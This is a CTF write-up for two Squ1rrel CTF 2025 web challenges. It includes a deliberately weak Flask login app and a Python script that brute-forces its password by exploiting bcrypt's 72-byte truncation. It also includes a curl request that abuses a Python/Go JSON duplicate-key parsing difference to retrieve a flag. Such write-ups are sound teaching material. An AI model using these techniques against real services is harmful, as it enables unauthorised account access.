Squ1rrel CTF 2025
emojicrypt
Passwords can be more secure. Weβre taking the first step.
Author: nisala
//app.py
from flask import Flask, request, redirect, url_for, g
import sqlite3
import bcrypt
import random
import os
from dotenv import load_dotenv
load_dotenv()
app = Flask(__name__, static_folder='templates')
DATABASE = 'users.db'
EMOJIS = ['π', 'π', 'π', 'π', 'π±', 'π', 'π', 'π', 'π', 'π
', 'π', 'π', 'π', 'π΅', 'π', 'π', 'π', 'π', 'πΆ', 'π©', 'π']
NUMBERS = '0123456789'
database = None
def get_db():
global database
if database is None:
database = sqlite3.connect(DATABASE)
init_db()
return database
def generate_salt():
return 'aa'.join(random.choices(EMOJIS, k=12))
def init_db():
with app.app_context():
db = get_db()
cursor = db.cursor()
cursor.execute('''CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
email TEXT UNIQUE NOT NULL,
username TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL,
salt TEXT NOT NULL
)''')
db.commit()
@app.route('/register', methods=['POST'])
def register():
email = request.form.get('email')
username = request.form.get('username')
if not email or not username:
return "Missing email or username", 400
salt = generate_salt()
random_password = ''.join(random.choice(NUMBERS) for _ in range(32))
password_hash = bcrypt.hashpw((salt + random_password).encode("utf-8"), bcrypt.gensalt()).decode('utf-8')
# TODO: email the password to the user. oopsies!
db = get_db()
cursor = db.cursor()
try:
cursor.execute("INSERT INTO users (email, username, password_hash, salt) VALUES (?, ?, ?, ?)", (email, username, password_hash, salt))
db.commit()
except sqlite3.IntegrityError as e:
print(e)
return "Email or username already exists", 400
return redirect(url_for('index', registered='true'))
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username')
password = request.form.get('password')
if not username or not password:
return "Missing username or password", 400
db = get_db()
cursor = db.cursor()
cursor.execute("SELECT salt, password_hash FROM users WHERE username = ?", (username,))
data = cursor.fetchone()
if data is None:
return redirect(url_for('index', incorrect='true'))
salt, hash = data
if salt and hash and bcrypt.checkpw((salt + password).encode("utf-8"), hash.encode("utf-8")):
return os.environ.get("FLAG")
else:
return redirect(url_for('index', incorrect='true'))
@app.route('/')
def index():
return app.send_static_file('index.html')
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
if __name__ == '__main__':
app.run(port=8000)
// index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Registration & Login</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<script>
document.addEventListener("DOMContentLoaded", function() {
const params = new URLSearchParams(window.location.search);
if (params.get("registered") === "true") {
const banner = document.createElement("div");
banner.className = "alert alert-success text-center";
banner.textContent = "You have successfully registered. Please check your email for a password.";
document.body.prepend(banner);
} else if (params.get("incorrect") === "true") {
const banner = document.createElement("div");
banner.className = "alert alert-danger text-center";
banner.textContent = "Password incorrect. Please try again.";
document.body.prepend(banner);
}
});
</script>
</head>
<body>
<div class="container mt-5">
<div class="row">
<div class="col-md-6">
<div class="card">
<div class="card-header text-center">Register</div>
<div class="card-body">
<form action="/register" method="POST">
<div class="mb-3">
<label for="email" class="form-label">Email address</label>
<input type="email" class="form-control" id="email" name="email" required>
</div>
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<button type="submit" class="btn btn-primary w-100">Register</button>
</form>
</div>
</div>
</div>
<div class="col-md-6">
<div class="card">
<div class="card-header text-center">Login</div>
<div class="card-body">
<form action="/login" method="POST">
<div class="mb-3">
<label for="login-username" class="form-label">Username</label>
<input type="text" class="form-control" id="login-username" name="username" required>
</div>
<div class="mb-3">
<label for="password" class="form-label">Password</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<button type="submit" class="btn btn-success w-100">Login</button>
</form>
</div>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
We are given 2 file where it happen to be a small website with /login
and /register.
@app.route('/register', methods=['POST'])
def register():
email = request.form.get('email')
username = request.form.get('username')
if not email or not username:
return "Missing email or username", 400
salt = generate_salt()
random_password = ''.join(random.choice(NUMBERS) for _ in range(32))
password_hash = bcrypt.hashpw((salt + random_password).encode("utf-8"), bcrypt.gensalt()).decode('utf-8')
Once we register a username and email, the website will create a random password. However, this password is never shared with the user, making it impossible to log in.
The password was 32 random numbers from 0-9.
Vulnerability
The vulnerability occurs at generate_salt(),
def generate_salt():
return 'aa'.join(random.choices(EMOJIS, k=12))
This creates 12 emoji with 22 'aa'
$> generate_salt()
'πaaπ±aaπaaπaaπaaπaaπaaπaaπaaπ©aaπaaπ'
$> len(generate_salt().encode())
70
However, the maximum length for a bycrpt password was 72. We can bruteforce 2 digits from 00-99
//sol.py
import requests
BASE_URL = "http://52.188.82.43:8060"
REGISTER_URL = f"{BASE_URL}/register"
LOGIN_URL = f"{BASE_URL}/login"
username = "small"
email = "small@small.small"
register_data = {
"username": username,
"email": email
}
print("[*] Registering user...")
r = requests.post(REGISTER_URL, data=register_data)
print(f"[+] Registration status code: {r.status_code}")
# Brute force login
print("[*] Starting brute-force attack...")
for i in range(100):
password = f"{i:02d}" # Format 2-digit password
login_data = {
"username": username,
"password": password
}
response = requests.post(LOGIN_URL, data=login_data)
if "Password incorrect" not in response.text.lower(): # Adjust this condition based on actual response
print(f"[+] Login successful with password: {password}")
print(response.text)
break
else:
print(f"[-] Failed login with password: {password}")
go getter
There's a joke to be made here about Python eating the GOpher. I'll cook on it and get back to you.
Author: kyle
These issues happen when Python and Golang are being used differently.
The application misses rebuilding its JSON structure from whatever was parsed before and forwards the request body to the service request. This is great because it means we can control whatever is sent to the backend service.
The json parser is instructed to bind the value referenced by the key action
the the RequestData
field Action
. So what happens if we have two action fields?
go run ayam.go '{"action":"getflag"}'
Action: getflag
go run ayam.go '{"action":"getflag","Action":"getgopher"}'
Action: getgopher
curl -XPOST http://52.188.82.43:8080/execute -d '{"action":"getflag","Action":"getgopher"}'
Last updated